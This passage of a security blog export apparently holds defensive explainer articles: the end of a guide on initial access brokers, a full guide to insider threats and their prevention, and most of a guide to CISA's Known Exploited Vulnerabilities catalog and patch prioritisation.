ransom a company generally had to break in themselves, which capped how many operations any crew could run. The break-in was the bottleneck. Two developments removed that bottleneck. First, infostealers turned credential harvesting into a bulk, automated business, producing a constant stream of logs from infected machines around the world. That gave brokers a cheap, renewable raw material to mine for corporate access. Second, the ransomware-as-a-service model split ransomware into operators who build and run the platform and affiliates who carry out intrusions, creating a large pool of buyers who wanted footholds without doing the reconnaissance and break-in themselves. The broker slotted neatly between those two developments, buying from the stealer supply and selling to the affiliate demand. Marketplaces and forums provided the venue, reputation systems provided the trust, and anonymised listings provided the discretion. The result is a mature intermediary market that behaves much like a legitimate one, with pricing tiers, quality signals, and repeat business. The consequence for defenders is that the number of adversaries able to reach any given organisation multiplied. A crew that could never have broken in on their own can now buy the foothold and focus entirely on extortion. Understanding the broker layer is understanding why attacks scaled, and why the entry points brokers rely on are the highest-leverage places to defend. ## Frequently asked questions **What exactly does an initial access broker sell?** A working way into a specific organisation: valid credentials, a live VPN or RDP session, or a webshell on an internet-facing server, along with notes on the privilege level and internal reach. The buyer receives a verified foothold and does the rest of the attack themselves. **Where does the access come from?** Mostly from a small set of reliable sources: infostealer logs harvested from infected machines, exposed remote services with weak or missing multi-factor authentication, phishing, and unpatched internet-facing appliances. Novel exploits are the exception rather than the rule. **How much does brokered access cost?** Less than most people assume. Rapid7's 2025 Access Brokers Report found nearly 40% of forum listings priced between $500 and $1,000. Price tracks how deep and how valuable the access is: a single user's credentials at a small company is cheap. Domain-administrator control at a large, high-revenue organisation commands far more, because it saves the buyer the hardest and riskiest work. **Why is the victim not named in listings?** To protect the asset. If the target were named publicly, the access could be reported, detected, and closed before it sells. Brokers advertise generic attributes, sector, country, revenue, and access type, and reveal the identity only once a buyer commits. **How does this connect to ransomware?** Brokers are the supply layer beneath ransomware. The break-in is the slowest and riskiest part of an attack, so buying it from a broker lets a ransomware affiliate skip straight to escalation, data theft, and encryption. This specialisation is a major reason ransomware scaled the way it did. **What is the single most effective defence?** Locking down remote access with enforced multi-factor authentication and never exposing RDP directly to the internet. That removes the most common broker entry point. Close behind is treating any stealer infection on a device with corporate access as a credential compromise rather than a routine malware cleanup. **If we find brokered access, what should we do?** Treat it as an active intrusion. Invalidate the credential or session immediately, trace how it was obtained so you can close that source, and hunt for what the access was used to reach. Assume the first step may have been bought rather than earned by the intruder in front of you. Initial access brokers turned the break-in into a product. That is bad news, because it multiplies the number of criminals who can reach you, and good news, because everything they sell is something you can find, deny, or invalidate first. The break-in they monetise is the one control point where a few basic measures do the most work. ## Related guides - [What Is an Infostealer](/what-is-an-infostealer) - [Cybercrime-as-a-Service Explained](/cybercrime-as-a-service-explained) - [Ransomware-as-a-Service Explained](/ransomware-as-a-service-explained) - [Dark Web Markets Explained](/dark-web-markets-explained) - [The Exploit Market Explained](/the-exploit-market-explained) ### Sources - MITRE ATT&CK: Valid Accounts (T1078) (MITRE): https://attack.mitre.org/techniques/T1078/ - MITRE ATT&CK: External Remote Services (T1133) (MITRE): https://attack.mitre.org/techniques/T1133/ - CISA: Stop Ransomware (CISA): https://www.cisa.gov/stopransomware - Compromise for Sale: Inside the Rapid7 2025 Access Brokers Report (Rapid7): https://www.rapid7.com/blog/post/compromise-for-sale-inside-the-rapid7-2025-access-brokers-report/ - 2025 Data Breach Investigations Report (Verizon): https://www.verizon.com/business/resources/reports/2025-dbir-data-breach-investigations-report.pdf - Mandiant M-Trends 2026: attackers are handing off access in 22 seconds (Help Net Security): https://www.helpnetsecurity.com/2026/03/24/mandiant-m-trends-2026-report/ - CISA Known Exploited Vulnerabilities Catalog (CISA): https://www.cisa.gov/known-exploited-vulnerabilities-catalog --- ## Insider Threats: Malicious, Negligent & Compromised > How insider threats work: the three insider types, warning indicators, the role of access and privilege, and how to build a prevention program. - URL: https://blog.pwnsy.com/insider-threats-guide - Date: 2026-07-24 - Updated: 2026-07-24 - Difficulty: intermediate - Category: threat-intel - Tags: insider-threat, threat-intel, ueba, least-privilege, data-loss-prevention - Related: [Genesis Market Explained: The Bot Shop and Operation Cookie Monster](https://blog.pwnsy.com/genesis-market-explained), [How Dark Web Monitoring Works: Sources, Alerts and Limits](https://blog.pwnsy.com/how-dark-web-monitoring-works), [The Capital One Breach: SSRF, Metadata Credentials, 100 Million Records](https://blog.pwnsy.com/capital-one-breach-explained) ### TL;DR - An insider threat is a risk that comes from someone with legitimate access: an employee, contractor, or partner who is trusted by the system they can harm. - Insiders fall into three types: malicious insiders who intend harm, negligent insiders who cause it by mistake, and compromised insiders whose access an outsider has taken over. - The common thread is access and privilege: the damage an insider can do is bounded by what they can reach, which makes least privilege the single strongest control. - Detection combines behavioural analytics, data-loss monitoring, and tight identity controls, but the program is as much about process and culture as it is about tooling. ### Key Takeaways - Because insiders start with legitimate access, their activity blends into normal operations, which is what makes insider threats harder to catch than external intrusions. - Malicious insiders are the minority; negligent and compromised insiders cause a large share of insider incidents and respond to different controls. - User and entity behaviour analytics (UEBA) flags deviations from a person's normal pattern, such as unusual access, volume, or timing, rather than known-bad signatures. - Least privilege, strong offboarding, and monitoring of privileged accounts remove the conditions insider incidents depend on. - A credible program pairs technical controls with clear policy, manager involvement, and privacy-respecting governance, because over-surveillance backfires. Every security control you buy is designed to keep the wrong people out. Insider threats are the case where the wrong person is already in, holding a badge, a laptop, and a valid login. That is what makes them the hardest category to defend against. There is no perimeter to breach and no exploit to detect. There is only legitimate access being used in an illegitimate way, and the challenge is telling the difference. An insider threat is the risk of harm from someone with authorised access to an organisation's systems, data, or facilities. That definition, close to the one [CISA uses](https://www.cisa.gov/topics/physical-security/insider-threat-mitigation/defining-insider-threats), deliberately covers more than the disgruntled employee of popular imagination. It includes the careless, the tricked, and the compromised. This guide breaks the problem into its real components and lays out how a working program addresses each. ## The three kinds of insider Lumping all insiders together leads to bad controls, because the three types have different causes and different fixes. **Malicious insiders** intend harm. The motive is usually money, grievance, or ideology: stealing data to sell, sabotaging systems on the way out, or leaking information to make a point. They are the smallest group by number, but individual incidents can be severe because the person knows exactly where the valuable data is and how to reach it. **Negligent insiders** cause harm without intending it. They email a spreadsheet to the wrong address, misconfigure a storage bucket, reuse a password, or click a phishing link. There is no malice, only mistake, but the outcome can be identical to an attack. This group is large, and it is where a great deal of real-world data loss originates. **Compromised insiders** are people whose legitimate access has been hijacked by an outsider. The employee did nothing wrong on purpose, but their credentials, session, or device are now under external control. From the system's point of view, the attacker is the insider. This is the bridge between insider and external threats, and it is why credential theft matters so much. | Insider type | Intent | Primary driver | Strongest control | |---|---|---|---| | Malicious | Deliberate harm | Money, grievance, ideology | Least privilege, monitoring, offboarding | | Negligent | Accidental harm | Human error, poor process | Training, guardrails, data-loss prevention | | Compromised | None (access hijacked) | External attacker | Strong authentication, session controls | ### The three types in practice The categories are easier to hold onto with concrete shapes, described in the general and without any named person or event. The malicious insider is a developer who has accepted a job at a competitor and, in the final weeks, copies source code and customer lists to a personal drive. Nothing they touch is outside their normal access. The only anomaly is the volume and the timing, and the intent behind it. The negligent insider is an operations engineer who, under time pressure, makes a storage bucket public to unblock a deploy and forgets to close it. There is no motive and no attacker, yet sensitive data is now exposed to anyone who finds the address. The same careless step could have been a mistyped email recipient or a reused password later found in a breach dump. The compromised insider is a finance clerk whose password was captured by an infostealer and whose multi-factor prompt was relayed by a phishing kit in real time. The attacker now logs in as the clerk, from the clerk's own account, and moves money or data. To every system involved, the clerk is doing the work. Reading the three side by side shows why one control set never covers all of them. The malicious case wants monitoring and least privilege. The negligent case wants guardrails and training. The compromised case wants strong authentication and session hygiene. A program that only buys tools for one type leaves the other two open. ## Why access and privilege are the whole game The damage any insider can do is bounded by what their access lets them reach. This is the single most important idea in the entire subject, because it turns a vague fear into a concrete, reducible quantity. An employee with access to one system can harm one system. An administrator with broad rights can harm everything. When you over-provision access, grant standing admin rights, or leave old permissions in place after a role change, you widen the blast radius of every insider incident before it happens. Most organisations accumulate access like clutter: people gather permissions across years and roles, and almost nobody removes them. This is why [least privilege](/least-privilege-explained) is the foundational insider control. Granting only the access a person needs for their current job, and removing it when the need ends, shrinks what any single insider, malicious or compromised, can touch. Privileged accounts deserve special attention, which is the case for [privileged access management](/privileged-access-management-explained): the small number of high-power accounts are where insider risk concentrates. The same logic applies to the exit. A departing employee with lingering access is a classic insider risk, and rushed or incomplete offboarding is a recurring root cause. Access that outlives the job is an incident waiting for a motive. The idea has a useful shorthand: blast radius. Every account carries a blast radius equal to everything it can reach and everything it can change. A help-desk account that can reset any password has a large blast radius even though the person is junior. A senior engineer with access scoped to one service has a small one. Insider risk management is largely the work of measuring these blast radii and shrinking the ones that are wider than the role requires. Standing administrative rights, shared privileged accounts, and permissions accreted across old roles are where the widest radii hide. ## Why insiders are harder than outsiders This category resists the usual toolkit for a structural reason. An external intrusion has a seam a defender can watch: the moment an attacker crosses from outside to inside. Exploits, brute force, and phishing all leave that seam. An insider begins on the inside, holding a valid credential, so there is no crossing to catch. | Property | External threat | Insider threat | |---|---|---| | Starting position | Outside the perimeter | Inside, with valid access | | Primary signal | Intrusion, exploitation, anomalous entry | Misuse of legitimate access | | Knowledge of the target | Learned during the attack | Already known from the job | | Detection basis | Known-bad signatures and entry events | Deviation from an individual's normal behaviour | | Strongest single control | Perimeter and authentication | Least privilege and access hygiene | The right-hand column explains the whole difficulty. There is no malware to match and no login to reject, because the login is real and the activity looks like work. Detection has to reason about behaviour and context rather than about known-bad artifacts, which is slower, noisier, and more dependent on knowing what normal looks like for each person. ## What insider activity looks like Because insiders use legitimate access, there is rarely a single alarm that says "attack". Instead there are deviations from normal behaviour. Useful indicators include: - **Unusual access patterns.** Reaching systems or data outside the person's role, or accessing far more than usual. - **Volume anomalies.** Large downloads, bulk exports, or copying data to removable media or personal cloud accounts. Exfiltration to an external service maps to [Exfiltration Over Web Service (T1567)](https://attack.mitre.org/techniques/T1567/) on MITRE ATT&CK. - **Timing anomalies.** Access at odd hours, or a spike in activity in the days around a resignation. - **Circumvention.** Attempts to disable logging, bypass controls, or move data through unmonitored channels. - **Behavioural context.** A documented grievance, sudden financial pressure, or a role change without a corresponding access change. No single indicator is proof. A large download might be a legitimate backup. The value is in correlation: several weak signals from the same person over a short window is a far stronger signal than any one alone. The quality of that correlation depends entirely on the baseline. If normal is well understood for each role and each account, a deviation stands out cleanly. If access is sprawling and everyone can reach everything, almost nothing looks unusual, and the same indicators generate noise instead of leads. This is why access hygiene precedes detection rather than following it. A recurring insider pattern is data theft in the final weeks of employment, when a departing person copies material they intend to take to a competitor. Access reviews triggered by resignation, and monitoring of bulk data movement during notice periods, catch a meaningful share of malicious insider cases. Build the trigger into your offboarding process, not into a person's memory. ## Building a detection and prevention program An insider threat program is a system, not a product. The technical pieces matter, and so do the process and governance around them. **User and entity behaviour analytics (UEBA)** establishes a baseline of normal behaviour for each user and account, then flags deviations. Because it looks for anomalies rather than known-bad signatures, it can surface insider activity that no rule anticipated. It produces false positives, so it works best as a lead generator for human review rather than an automated verdict. **Data-loss prevention** monitors and controls where sensitive data goes: blocking or flagging uploads to personal accounts, copies to removable media, or emails to external addresses. See [What Is DLP](/what-is-dlp). It is most effective against the negligent insider and the careless step of a malicious one. **Identity and access controls** are the preventive backbone. Strong authentication limits compromised insiders, least privilege limits everyone, and disciplined offboarding closes the exit. A mature access model, covered in [Least Privilege Explained](/least-privilege-explained), is what makes the detective controls tractable, because a smaller, cleaner access surface produces cleaner signals. **Process and governance** tie it together. That means access reviews on a schedule and on role change, an offboarding checklist that revokes everything, manager involvement in flagging concerns, and a defined path for investigating an alert without prejudging the person. Compromised insiders are the point where external threat actors become inside threats. The credential theft and access-brokering that create them are tracked activity. Our Threat Groups directory profiles the actors who buy and abuse legitimate access, which is the same access an insider program is built to protect. ### Walking an alert to a verdict The value of a program shows in how it handles a single alert, so it helps to trace one through. Suppose UEBA flags an engineer for downloading an unusually large volume of records late at night, well outside their normal pattern. 1. **Correlate before reacting.** One anomaly is weak. The reviewer looks for other signals from the same person in the same window: recent access to systems outside their role, copies to removable media or personal cloud, or attempts to disable logging. Several weak signals together are far stronger than any one. 2. **Add context, carefully.** The reviewer checks neutral facts: is there a known deadline, a legitimate migration, an approved bulk job. Behavioural context such as a recent resignation matters, and it is treated as a reason to look, not as a conclusion. 3. **Confirm the data path.** Data-loss tooling shows where the records went. An internal backup target is very different from an upload to a personal account, and the destination often settles whether this is routine work or exfiltration mapping to [Exfiltration Over Web Service (T1567)](https://attack.mitre.org/techniques/T1567/). 4. **Involve the right people.** If the signal holds, the path runs through a defined process with manager and, where needed, legal and human-resources involvement. The person is not prejudged, and the investigation stays documented and proportionate. 5. **Resolve and feed back.** Whether the outcome is a benign explanation or a confirmed incident, the result tunes the baseline. False positives teach the system what normal looks like, and true positives inform the controls that should have prevented it. The discipline in that sequence is what separates a fair, effective program from one that generates suspicion and noise. The tooling raises a hand. People decide what it means. ## How insider programs mature Programs do not arrive complete, and trying to deploy everything at once tends to produce noise no one can act on. A workable progression moves through stages. The first stage is access hygiene. Before any monitoring, an organisation gets its arms around who can reach what, removes standing and orphaned permissions, and fixes offboarding so access ends with employment. This stage helps against external attackers too, and it produces the cleaner access surface that later detection depends on. The second stage is privileged-account control. The small set of high-power accounts is where worst-case damage concentrates, so those accounts get strong authentication, session recording where appropriate, and tighter review. Concentrating early effort here buys the most risk reduction per unit of work. The third stage is behavioural and data-movement monitoring. With a clean access surface and privileged accounts under control, UEBA and data-loss prevention produce signals that are meaningful rather than drowned in noise. Detection layered on a messy access surface generates alerts no one can triage. The fourth stage is governance and culture. Clear policy, proportionate monitoring, manager involvement, and a defined investigation path make the program credible, legal, and sustainable. Without this stage the technical controls tend to be both unfair and brittle, and people route around them. The order matters. Buying detection tooling before fixing access is the most common way these programs stall, because the tools then surface endless anomalies against a baseline no one trusts. A program that follows the stages in order spends less, alerts less, and catches more, because each layer sits on a foundation the one below it already cleaned up. ## Getting the balance right The failure mode of insider programs is over-surveillance. Monitoring employees as suspects damages trust, invites legal and privacy problems, and pushes people toward the workarounds that create risk in the first place. A credible program is proportionate and transparent about what is monitored and why, following a recognised control framework such as [NIST SP 800-53](https://csrc.nist.gov/pubs/sp/800/53/r5/upd1/final) rather than improvising. The practical priorities, in order: 1. **Fix access first.** Least privilege and clean offboarding remove the conditions most insider incidents depend on, and they help against outsiders too. 2. **Protect and watch privileged accounts.** The small set of high-power accounts is where the worst-case damage lives. 3. **Add behavioural and data-movement monitoring.** UEBA and DLP turn the remaining risk into signals a human can review. 4. **Govern it fairly.** Clear policy, proportionate monitoring, and a defined investigation process keep the program credible and legal. Insider threats never fully go away, because access is the point of employing people. The realistic goal is to make the access smaller, the movement of data more visible, and the exit cleaner, so that a mistake, a grievance, or a stolen credential has less room to become a disaster. ## Common misconceptions **"Insider threat means a disgruntled employee."** The malicious insider is the smallest of the three groups. Negligent and compromised insiders drive a large share of real incidents, and they respond to different controls. A program built only around catching bad actors misses most of the actual loss. **"More monitoring is always better."** Beyond a point, surveillance produces noise, erodes trust, and pushes people toward the workarounds that create risk. A flood of low-quality alerts also buries the few that matter. Proportionate monitoring focused on privileged accounts and sensitive data outperforms watching everyone equally. **"We can eliminate insider risk."** Access is the reason people are employed, so the risk is inherent to the organisation. The goal is reduction and containment, shrinking blast radius and improving visibility, rather than a promise of zero. **"Technical controls are the whole answer."** Tools produce signals, and people decide what they mean. Manager involvement, a fair investigation process, and clear policy are what turn a UEBA alert into a resolved case instead of an accusation. A program that is all tooling and no governance tends to be both unfair and ineffective. **"Compromised insiders are an external problem, not ours."** The stolen credential lands inside your environment and behaves like an employee. Strong authentication, session controls, and least privilege are insider controls precisely because they bound what a hijacked account can do. Treating the compromised case as somebody else's problem leaves a wide gap that attackers walk through with a valid login. ## Frequently asked questions **How is an insider threat different from an external attack?** An external attacker has to get in first, which creates an entry event a defender can watch for. An insider already holds legitimate access, so there is no intrusion to detect. The activity looks like ordinary work, which is why detection depends on spotting deviations from a person's normal behaviour rather than matching known-bad signatures. **Which insider type causes the most incidents?** Negligent and compromised insiders account for a large share of real-world cases, while deliberate malicious insiders are the minority by number. That distribution is why training, guardrails, and strong authentication matter as much as monitoring for bad intent. The severity picture can differ, since a single malicious insider who knows exactly where the valuable data sits can cause disproportionate damage. **What is UEBA and where does it fit?** User and entity behaviour analytics builds a baseline of normal activity for each user and account, then flags departures from it, such as unusual access, volume, or timing. Because it looks for anomalies rather than known signatures, it can surface insider activity no rule anticipated. It generates false positives, so it works best as a lead generator for human review rather than as an automatic verdict. **Why is offboarding treated as a security control?** Access that outlives the job is a standing risk with no owner. A departing person with lingering permissions is a classic malicious-insider case, and the notice period is a documented window for data theft. Building access revocation and access review into the offboarding process, triggered automatically rather than left to memory, closes the exit before it can be used. **Does an insider threat program mean spying on employees?** A credible program is proportionate and transparent. It concentrates on privileged accounts and sensitive-data movement, states clearly what is monitored and why, and follows a recognised control framework such as [NIST SP 800-53](https://csrc.nist.gov/pubs/sp/800/53/r5/upd1/final). Over-surveillance backfires, damaging trust and pushing people toward risky workarounds, so restraint is part of the design. **What single control reduces insider risk the most?** Least privilege. The damage any insider can do is bounded by what their access can reach, so granting only what a role needs, and removing it when the need ends, shrinks the blast radius of every insider incident, malicious or compromised, before it happens. It also strengthens defence against external attackers who land on a legitimate account. **How do compromised insiders relate to external threat actors?** They are the bridge between the two. When an outsider steals a credential or hijacks a session, that access behaves like an insider from the system's point of view. The credential theft and access brokering that create compromised insiders are tracked criminal activity, which is why strong authentication and session controls are core to any insider program. ## Related guides - [Least Privilege Explained](/least-privilege-explained) - [What Is DLP](/what-is-dlp) - [Privileged Access Management Explained](/privileged-access-management-explained) - [What Is an APT](/what-is-an-apt) ### Sources - CISA: Defining Insider Threats (CISA): https://www.cisa.gov/topics/physical-security/insider-threat-mitigation/defining-insider-threats - MITRE ATT&CK: Exfiltration Over Web Service (T1567) (MITRE): https://attack.mitre.org/techniques/T1567/ - NIST SP 800-53: Security and Privacy Controls (NIST): https://csrc.nist.gov/pubs/sp/800/53/r5/upd1/final --- ## The KEV Catalog: CISA's List of Actively Exploited Bugs > What the CISA Known Exploited Vulnerabilities catalog is, how a CVE gets added, federal remediation deadlines, and why it means patch now. - URL: https://blog.pwnsy.com/kev-catalog-explained - Date: 2026-07-24 - Updated: 2026-07-24 - Difficulty: beginner - Category: threat-intel - Tags: kev, cisa, threat-intel, vulnerability-management, patch-prioritization - Related: [Genesis Market Explained: The Bot Shop and Operation Cookie Monster](https://blog.pwnsy.com/genesis-market-explained), [How Dark Web Monitoring Works: Sources, Alerts and Limits](https://blog.pwnsy.com/how-dark-web-monitoring-works), [The Capital One Breach: SSRF, Metadata Credentials, 100 Million Records](https://blog.pwnsy.com/capital-one-breach-explained) ### TL;DR - The CISA Known Exploited Vulnerabilities (KEV) catalog is a free, public list of CVEs that are confirmed to be exploited in the wild, not just theoretically dangerous. - A CVE joins KEV only when it has an assigned ID, reliable evidence of active exploitation, and a clear remediation action such as a patch or mitigation. - US federal civilian agencies must remediate KEV entries by a set due date, and the dates are published for everyone to see. The mandate now runs through BOD 26-04, issued 10 June 2026, which revoked BOD 22-01 and derives each deadline from risk factors rather than one flat clock. - If a vulnerability is on KEV, exploitation is a fact rather than a forecast. It is the strongest single signal to patch now, ahead of CVSS or EPSS alone. ### Key Takeaways - KEV is evidence of real-world exploitation, which is why it overrides severity-based sorting for anything already listed. - The three inclusion criteria are a CVE ID, reliable evidence of active exploitation, and a clear remediation action. - Binding Operational Directive 22-01 created KEV in 2021 and made remediation mandatory for federal civilian agencies. BOD 26-04 revoked and replaced it in June 2026, carrying the catalog forward under a risk-based timeline. - The catalog is free to download as JSON or CSV, so any organisation can wire it into patch and detection workflows regardless of sector. - KEV answers 'is it exploited now', CVSS answers 'how bad', and EPSS answers 'how likely'. Use KEV as the top promotion rule in a three-signal model. Most vulnerability signals are predictions. A CVSS score predicts how much damage a flaw could do. An EPSS score predicts how likely it is to be used. The KEV catalog is different, because it records something that has already happened: this vulnerability is being exploited by real attackers, right now. The Known Exploited Vulnerabilities catalog is maintained by CISA, the US Cybersecurity and Infrastructure Security Agency. It is a free, public list of CVEs backed by evidence of active exploitation. When a flaw appears on KEV, the question of whether anyone will bother to attack it is settled. That certainty is what makes the catalog the single strongest input to a patch queue. ## What the catalog actually is KEV is a plain data feed. Each entry names a CVE, the affected vendor and product, a short description of the flaw, the date it was added, and a required remediation date. The whole catalog is downloadable as JSON or CSV, so it can drop straight into a scanner, a ticketing system, or a detection pipeline. The catalog began in November 2021 under Binding Operational Directive 22-01. Before it existed, defenders had severity ratings and a sea of proof-of-concept chatter, with no authoritative answer to the one question that matters most: which of these thousands of flaws are attackers actually using. KEV is that answer, curated by a national authority and published in the open. ## How a CVE gets added CISA applies three criteria, and a vulnerability has to meet all of them before it joins the list. | Criterion | What it requires | |---|---| | Assigned CVE ID | The vulnerability has a formal identifier in the CVE program | | Active exploitation | Reliable evidence shows the flaw is being exploited in the wild | | Clear remediation | A vendor patch, update, or defined mitigation exists to act on | The middle criterion is the strict one. Active exploitation means observed use against real targets, confirmed through trusted reporting, incident response findings, or CISA's own partners. Publishing a proof-of-concept does not qualify. Scanning activity or a researcher's exploit demonstration does not qualify. Someone has to be using the flaw against real systems. The third criterion keeps the catalog actionable. CISA lists a vulnerability only when defenders have a concrete step to take, so every entry comes with a path to closure rather than an open-ended warning. KEV is a record of confirmed exploitation, so inclusion carries more weight than any severity score. A medium-CVSS flaw on KEV is a bigger operational problem than a critical-CVSS flaw that no one has ever attacked. ## The federal deadlines The part of KEV that gives it teeth is the remediation due date. US federal civilian executive branch agencies are required to fix every KEV entry that applies to their systems by the date CISA sets. The directive is binding, and the deadlines are public. The directive behind that requirement changed in 2026. BOD 22-01 assigned a flat clock: two weeks for entries whose CVE was assigned in 2021 or later, six months for older ones. BOD 26-04, issued on 10 June 2026, revoked it and replaced the flat timeline with deadlines derived from a small set of risk factors, including whether the affected asset is publicly exposed and whether the CVE is on KEV. The graduated result runs from three days for the most dangerous combinations to deferral at the low end. The catalog and its inclusion criteria carried over unchanged. The exact window is published per entry, so anyone can see how much urgency CISA has assigned. Agencies report their remediation progress, which turns the catalog into a compliance instrument as well as an intelligence feed. Private organisations are not bound by the directive, but the deadlines are still useful. They encode CISA's read on how quickly each flaw needs to be closed, which is free prioritisation guidance that any security team can borrow. ## Why KEV is the strongest patch-now signal Vulnerability programmes drown in numbers. A large estate can carry thousands of open findings, most rated high or critical, most of which will never be touched by an attacker. Sorting that backlog by severity alone means burning the week on theoretical risk. KEV cuts through it. If a CVE is listed, exploitation is confirmed and the flaw belongs at the front of the queue regardless of its CVSS band. This is why the catalog sits at the top of a sensible three-signal model: - **KEV** confirms exploitation is happening. Promote anything listed to the top. - **EPSS** estimates the probability of exploitation soon, for flaws not yet on KEV. See [EPSS Explained](/epss-explained). - **CVSS** measures how much damage a successful exploit does. See [CVSS Explained](/cvss-explained). The catalog is small relative to the full CVE universe, which is the point. It represents the concentrated set of flaws where waiting has a known cost, so closing every KEV entry that touches your estate is one of the highest-return moves in vulnerability management. The absence of a CVE from KEV does not mean it is safe. The catalog only captures exploitation that has been confirmed and reported. New attacks and quiet campaigns will always run ahead of any list, so keep EPSS and severity in the mix for everything KEV has not yet flagged. ## How to use KEV in practice 1. **Ingest the feed automatically.** Pull the JSON or CSV on a schedule and match it against your asset inventory. Manual checks fall behind fast. 2. **Promote every match to the top of the queue.** A KEV hit outranks a higher CVSS score that is not being exploited. Treat listing as the override rule. 3. **Adopt the due dates even if you are not federal.** CISA's deadline per entry is a ready-made service level for remediation. 4. **Feed it to detection, not only patching.** If you cannot patch a KEV flaw immediately, hunt for signs of the exploitation it describes and apply the listed mitigation in the meantime. 5. **Report against it.** The share of KEV entries in your environment that are closed on time is a clean, defensible metric for leadership. To check one CVE quickly, our [CVSS calculator](https://pwnsy.com/tools/cvss-calculator/) shows whether it is on KEV and since when, alongside its EPSS score and CVSS vectors. Our Exploit Intelligence dashboard joins live CVSS, EPSS and CISA KEV data into one view, including the time from a CVE's publication to its KEV listing. It shows which high-severity flaws are actually under pressure and how quickly confirmed exploitation tends to follow disclosure. KEV is the calmest signal in vulnerability management because it removes the guesswork. It does not estimate, forecast, or rate. It reports what is already being exploited, attaches a deadline, and publishes both for free. Wire it into your patch and detection workflows, treat a listing as a promotion to the top of the queue, and the catalog becomes the backbone of a defensible response to the flaws that carry real cost. ## What a KEV entry contains Each row in the catalog is a compact, structured record, and knowing the fields helps you wire it into a workflow rather than treating it as a headline list. Every entry carries the CVE identifier, which is the join key that ties the KEV record to your scanner findings, your ticketing system, and the underlying CVE and CVSS data. Alongside it sits the affected vendor and product, so you can match the entry against your asset inventory without chasing the CVE description. A short vulnerability name and description summarise the flaw in plain terms. The dates are where the operational weight lives. The date added tells you when CISA confirmed exploitation and started the clock. The required action date, the remediation due date, tells you when federal agencies must have the flaw fixed, and it is the field most useful to everyone else as a ready-made service level. Many entries also carry a required action field describing what to do, whether that is applying a vendor update or following a specific mitigation when no patch exists. More recent entries include a note on whether the vulnerability is known to be used in ransomware campaigns, which is a further prioritisation cue for anyone deciding what to close first. The required action date is the single most useful field for a team that is not federally bound. It encodes CISA's judgement of how urgently a confirmed-exploited flaw needs closing, distilled into a concrete deadline. Borrowing that date as your own internal service level gives you defensible remediation timelines without having to build the risk model yourself. ## A worked example of prioritising with KEV Consider a security team on a Monday facing a scanner report with several thousand open findings. Sorting by CVSS puts a few hundred critical-rated flaws at the top, far more than the team can patch this week. This is the exact situation where severity-only prioritisation stalls, because most of those criticals will never be attacked and the team has no way to tell which ones will. Now bring KEV into the sort. The team pulls the catalog feed and matches it against the same findings. Out of the thousands of open issues, a much smaller set, say a couple of dozen, match KEV entries. These are the flaws where exploitation is a confirmed fact rather than a theoretical possibility. Some of them are rated critical, and some are only rated medium, which is the important part. A medium-severity flaw that attackers are actively using is a bigger operational problem than a critical-severity flaw no one has ever exploited. The team promotes every KEV match to the front of the queue regardless of its CVSS band, and adopts the required action date for each as the internal deadline. For the KEV entries they cannot patch immediately, they apply the listed mitigation and turn on detection for the exploitation behaviour. Only after the KEV set is handled do they return to the broader critical list, now sorted with EPSS to estimate which of the remaining flaws are most likely to be attacked next. That sequence turns an unmanageable backlog into a defensible plan. The week's effort goes first to flaws with a known cost of waiting, and leadership can see a clean metric: the share of KEV entries in the environment closed on or before their due dates. ## Detection signals and operational tells KEV is a feed, so the signals worth watching are about how you consume it and how confirmed-exploited flaws behave in your environment. - **New KEV additions that match your inventory.** The most important signal is a fresh entry landing on the catalog for a product you run. Automated matching against your asset list on every catalog update is what catches this in hours rather than weeks. - **A short gap between CVE publication and KEV listing.** When a flaw reaches KEV soon after disclosure, exploitation followed disclosure quickly, which is a marker of a flaw under active, widespread attack. These deserve the most urgent handling. - **Ransomware-flagged entries.** KEV notes where a vulnerability is known to feature in ransomware activity. A match on one of these in your environment is a direct line to a high-consequence outcome. - **KEV entries you cannot fully remediate.** Any listed flaw you have not closed by its due date is a standing exposure worth tracking as a named risk, with a compensating mitigation and active detection in place until it is patched. - **Exploitation indicators for listed flaws.** For KEV entries you have not yet closed, hunting for the specific exploitation behaviour the entry describes turns the catalog into a detection input, not only a patch input. ## KEV compared with the other vulnerability signals KEV, CVSS, and EPSS answer three different questions, and using them together is what turns raw vulnerability data into a queue. Confusing them is the most common mistake teams make. | Signal | Question it answers | Nature | Role in the queue | |---|---|---|---| | KEV | Is it being exploited now | Confirmed fact | Top promotion rule, overrides the rest | | EPSS | How likely is exploitation soon | Probability estimate | Ranks flaws not yet on KEV | | CVSS | How much damage if exploited | Severity rating | Measures impact, breaks ties | The clean mental model is a sequence. KEV first: anything listed goes to the top, because waiting has a known cost. EPSS next: among the flaws not on KEV, it estimates which are most likely to be attacked, so you can act before they are exploited. CVSS last: it tells you how bad a successful exploit would be, which is essential for understanding impact and useful for breaking ties, and weak as a standalone sort because most critical flaws are never attacked. See [CVSS Explained](/cvss-explained) and [EPSS Explained](/epss-explained) for how each is built. ## Common misconceptions **"If it is not on KEV, it is safe to defer."** KEV only captures exploitation that has been confirmed and reported. Quiet campaigns and brand-new attacks always run ahead of any list. KEV is a floor for urgency, and EPSS and severity still matter for everything it has not yet flagged. **"KEV is only relevant to federal agencies."** The binding deadlines apply to US federal civilian agencies, but the catalog is free and public, and its confirmation of active exploitation is valuable to any organisation in any sector. The due dates are usable as a ready-made service level regardless of who you are. **"A high CVSS score is more urgent than a KEV listing."** This inverts the right order. A KEV listing means exploitation is confirmed, which outranks a severity score that only estimates potential impact. A medium-CVSS flaw on KEV should be patched ahead of a critical-CVSS flaw that has never been exploited. **"KEV tells me I have been compromised."** A KEV entry means a flaw is being exploited somewhere in the world, not that your specific systems have been attacked. It is a signal to patch and to hunt for exploitation, and it does not by itself indicate a breach in your environment. **"Once I patch a KEV entry I can forget it."** Patching closes the exposure, and the record still matters for reporting and for confirming the fix held. For flaws you patch late or mitigate rather than patch, the entry stays a tracked item until it is genuinely closed. ## How KEV came about Before KEV existed, defenders had two broad classes of vulnerability signal and a gap between them. Severity ratings from CVSS told them how damaging a flaw could be in theory, and a noisy stream of proof-of-concept releases and researcher chatter hinted at what might be exploitable. Neither answered the question that most determines risk: which of these thousands of flaws are attackers actually using right now. Teams sorted their backlogs by severity, burned effort on flaws that would never be touched, and sometimes missed lower-rated flaws that were under active attack. CISA created the Known Exploited Vulnerabilities catalog in November 2021 under Binding Operational Directive 22-01 to close that gap. The directive did two things at once. It established the catalog as an authoritative, curated list of flaws with confirmed active exploitation, and it made remediation of those flaws mandatory for federal civilian agencies within set deadlines. That combination of a trusted evidence source and a binding clock is what gave the catalog its force. The catalog has grown steadily since, and its influence has spread well beyond the federal agencies it binds. Vulnerability scanners, patch-management tools, and threat-intelligence platforms now ingest the KEV feed and surface listings as a 